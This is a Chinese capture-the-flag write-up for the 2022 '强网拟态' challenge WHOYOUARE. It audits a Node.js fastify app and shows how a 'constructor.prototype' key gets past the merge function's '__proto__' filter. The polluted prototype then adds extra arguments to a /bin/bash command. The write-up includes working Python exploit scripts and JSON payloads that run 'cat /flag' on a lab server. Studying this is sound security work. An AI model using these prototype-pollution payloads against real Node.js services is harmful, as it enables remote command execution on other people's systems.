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强网拟态2022-wp

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强网拟态2022

WHOYOUARE

这道题目的环境是nodejs，猜考点是原型链污染，其框架根据附件名称可知为fastify

image-20230825093507374

看题目名字和刚打开题目的提示，猜测污染漏洞点应该在user处，应该在某个检查user信息的地方可以进行原型链污染

代码审计

先审一下app.js

app.js

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const userRoutes = require('./routes/user')
const fastify = require('fastify')({
    logger: {
        level: 'error'
    }
})
const port = process.env.PORT || 3000
const host = process.env.HOST || "0.0.0.0"
const respWrapper = {
    $id: 'respWrapper',
    type: 'object',
    response : {
        success: {
            type: 'object',
            properties: {
                status : { type: 'number' },
                info: { type: 'string' },
            }
        }
    }
}

fastify.addSchema(respWrapper)
fastify.register(userRoutes)

fastify.listen({
    host, port
}, (err, address) => {
    if (err) {
        fastify.log.error(err)
        process.exit(1)
    }
    fastify.log.info(`server listening on ${address}`)
})

发现网站还有个路由/user

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const userRoutes = require('./routes/user')

访问

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显示

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{"message":"Route GET:/user not found","error":"Not Found","statusCode":404}

看样子是无法用GET方式访问/user路由

于是审计一下user.js

user.js

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const merge = require('../utils/merge')
const bin = "/bin/bash"
const ChildProcess = require('child_process');

function checkUser(command){
    if (Array.isArray(command) === false || command.length > 2) {
        return false;
    }
    for (let i = 0; i < command.length; i++) {
        let cmd = command[i];
        if (typeof cmd !== 'string' || cmd.length > 4 || RegExp(/^[^a-zA-Z0-9-]+$/).test(command[i])) {
            return false;
        }
    }
    return true;
}

async function routes (fastify, options) {
    fastify.route(
        {
            method: 'POST',
            url: '/user',
            schema: {
                querystring: {
                    user: { type: 'string' },
                },
                additionalProperties: false,
                response: {
                    200: {
                        $ref: 'respWrapper#/response/success'
                    }
                }
            },
            preHandler: function (request, reply, done) {
                //user init
                request.user = {username : 'guest', command: ["-c", "id"]}
                let user = JSON.parse(request.body.user)
                // clean user command
                if (checkUser(user.command) !== true) {
                    user.command = ["-c", "id"]
                }
                try {
                    merge(request.user, user)
                }catch (e){
                    reply.code(400).send({status: 1, info: "Something error"})
                    return ;
                }
                done()
            },
            handler : function (request, reply) {
                ChildProcess.execFile(bin, request.user.command, (error, stdout, stderr) => {
                    if (error) {
                        reply.code(400).send({status: 1, info: error})
                    }
                    reply.code(200).send({ status : 0 , info : `User of ${request.user.username} : ${stdout}`});
                });
            }
        })
    fastify.route({
        method: 'GET',
        url: '/',
        response: {
            $ref: 'respWrapper#/response/success'
        },
        handler: function (request, reply) {
            reply.send({ status: 0, info: 'go user' })
        }
    })
}

module.exports = routes

原型链污染重点看merge和JSON.parse，发现代码，

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let user = JSON.parse(request.body.user)
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try {
    merge(request.user, user)
}catch (e){
    reply.code(400).send({status: 1, info: "Something error"})
    return ;
}

其中request.user的值为，

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request.user = {username : 'guest', command: ["-c", "id"]}

而user的值为，

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let user = JSON.parse(request.body.user)

request.user是初始化的user，所以无法直接污染，但是user是从请求体中得到的数据，并且通过Json格式化，其中是可以加一些实体（如__proto__,constructor.prototype）进去，是可以被我们污染的，所以，我们可以先污染user，然后通过merge合并，将user中的值传入request.user中

然后我们可以看看merge的内容，

merge.js

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const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];

const merge = (target, source) => {
    for (const key in source) {
        if(!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){
            if(key !== '__proto__'){
                merge(target[key], source[key]);
            }
        }else{
            target[key] = source[key];
        }
    }
}

module.exports = merge

发现merge对内容进行了过滤和检查，

  • 如果request.user或user中，有包含whileTypes中的内容，就不会执行merge
  • 如果键值中有__proto__，也不会执行merge

过滤关键字还好，只是过滤了__proto__，需要一个相同功能的来帮助绕过，比如constructor.prototype

但是在merge前面还要个checkUser，将command也进行了限制

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function checkUser(command){
    if (Array.isArray(command) === false || command.length > 2) {
        return false;
    }
    for (let i = 0; i < command.length; i++) {
        let cmd = command[i];
        if (typeof cmd !== 'string' || cmd.length > 4 || RegExp(/^[^a-zA-Z0-9-]+$/).test(command[i])) {
            return false;
        }
    }
    return true;
}

由条件语句可知，要求command必须是数组且数组中元素个数要小于等于2，

且要求command数组中的元素必须为字符串且长度要小于等于4，并以字母或者数字或者-开头

如果不满足checkUser，就会执行：

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user.command = ["-c", "id"]

将command直接赋值为执行id命令，而不能执行其他命令。

==>再由初始化request.user，所以最后构造request.body.user的结构应该为

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{"user":"{"username":"guest","command":["-c","id"]}"}

只是我们想要执行的command是cat /flag，但是很明显我们长度限制过不了，所以如果想要执行命令是不能把值写到command中，不然肯定会被拦截

我们看看user.js中，是如何执行command的，

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handler : function (request, reply) {
                ChildProcess.execFile(bin, request.user.command, (error, stdout, stderr) => {
                    if (error) {
                        reply.code(400).send({status: 1, info: error})
                    }
                    reply.code(200).send({ status : 0 , info : `User of ${request.user.username} : ${stdout}`});
                });
            }

发现它执行是执行request.user.command的内容，那便又回到污染user，然后再通过merge污染request.user，所以这里尝试污染request.user的实体中的command参数

但是，request.user在执行merge之前就已经有command值["-c","id"],所以作为一个已经存在的参数，就算污染了实体，它查找调用时还是会以它自己已有的值为先，所以如下图

image-20230906122510728

我们仔细执行命令的代码，发现它是将 request.user.command这个数组直接接到 /bin/bash后面

构造成

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/bin/bash -c id

这种命令。

但是突然想到一点，既然无法直接污染实体修改已有参数，那么如果在command数组中再加一个键值2，并且也是命令，能否也成功执行呢？

我们本地可以先测试一下，

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import requests
url="http://127.0.0.1:3000/user"
user='''{"username":"ttoc","constructor":{"prototype":{"2":"whoami"}},"command":["-c","id"]}'''
print(requests.post(url=url, json={"user": user}).text)

只看调试结果，command数组的变化

开始都是一样的，再加上这里的command数组符合checkUser的要求，通过

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当运行到key为prototype时，

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可以看到target，也就是request.user，也获得了一个属性2且值为whoami的，说明污染成功

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继续看对command数组的影响，虽然两者command数组一样，但是后面就会出现区别

image-20230906133038986

发现在不断的merge合并时，user和request.user中两者的数组中的key也在比较，但是由于两者的command数组中是字符串，属于whileTypes，所以会直接将target[key] = source[key];，也就是将user中值赋值给request.user，也就是修改command值

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const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
if(!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){
            if(key !== '__proto__'){
                merge(target[key], source[key]);
            }
}else{
    target[key] = source[key];
}

由于key=0和key=1两者都一样都是-c,id，所以赋值没有变化

image-20230906132428230

当key=2时，因为之前执行prototype时，使得request.user也有属性2这个值，

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虽然这个属性2是在Object中，但是是在Array之上，所以即便command数组中没有key=2，但是仍然就会从原型链中寻找，所以当再次运行到target[key] = source[key];时，属性2就被当作command的属性2，赋值进去了

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于是最后执行命令时就是，

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/bin/bash -c id whoami

由这个现象便可以构造出payload，可以看到便得到flag{test}

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import requests
url="http://172.28.31.86:3000/user"
user='''{"username":"ttoc","constructor":{"prototype":{"2":"cat /flag"}},"command":["-c","-i"]}'''
print({"user":user})
print(requests.post(url=url, json={"user": user}).text)

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当然这只是一个，同理，既然限制command数组中元素个数要小于等于2，所以一个也是可以的

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# http://172.28.31.86:3000/user
import requests
url="http://172.28.31.86:3000/user"
user='''{"username":"ttoc","constructor":{"prototype":{"1":"cat /flag"}},"command":["-c"]}'''
print({"user":user})
print(requests.post(url=url, json={"user": user}).text)

结果同上，只是不能让command为空就行，不然会报错

直接浏览器console，展示也可以理解原理

image-20230906160734249

这里的属性2实际是在command实体中

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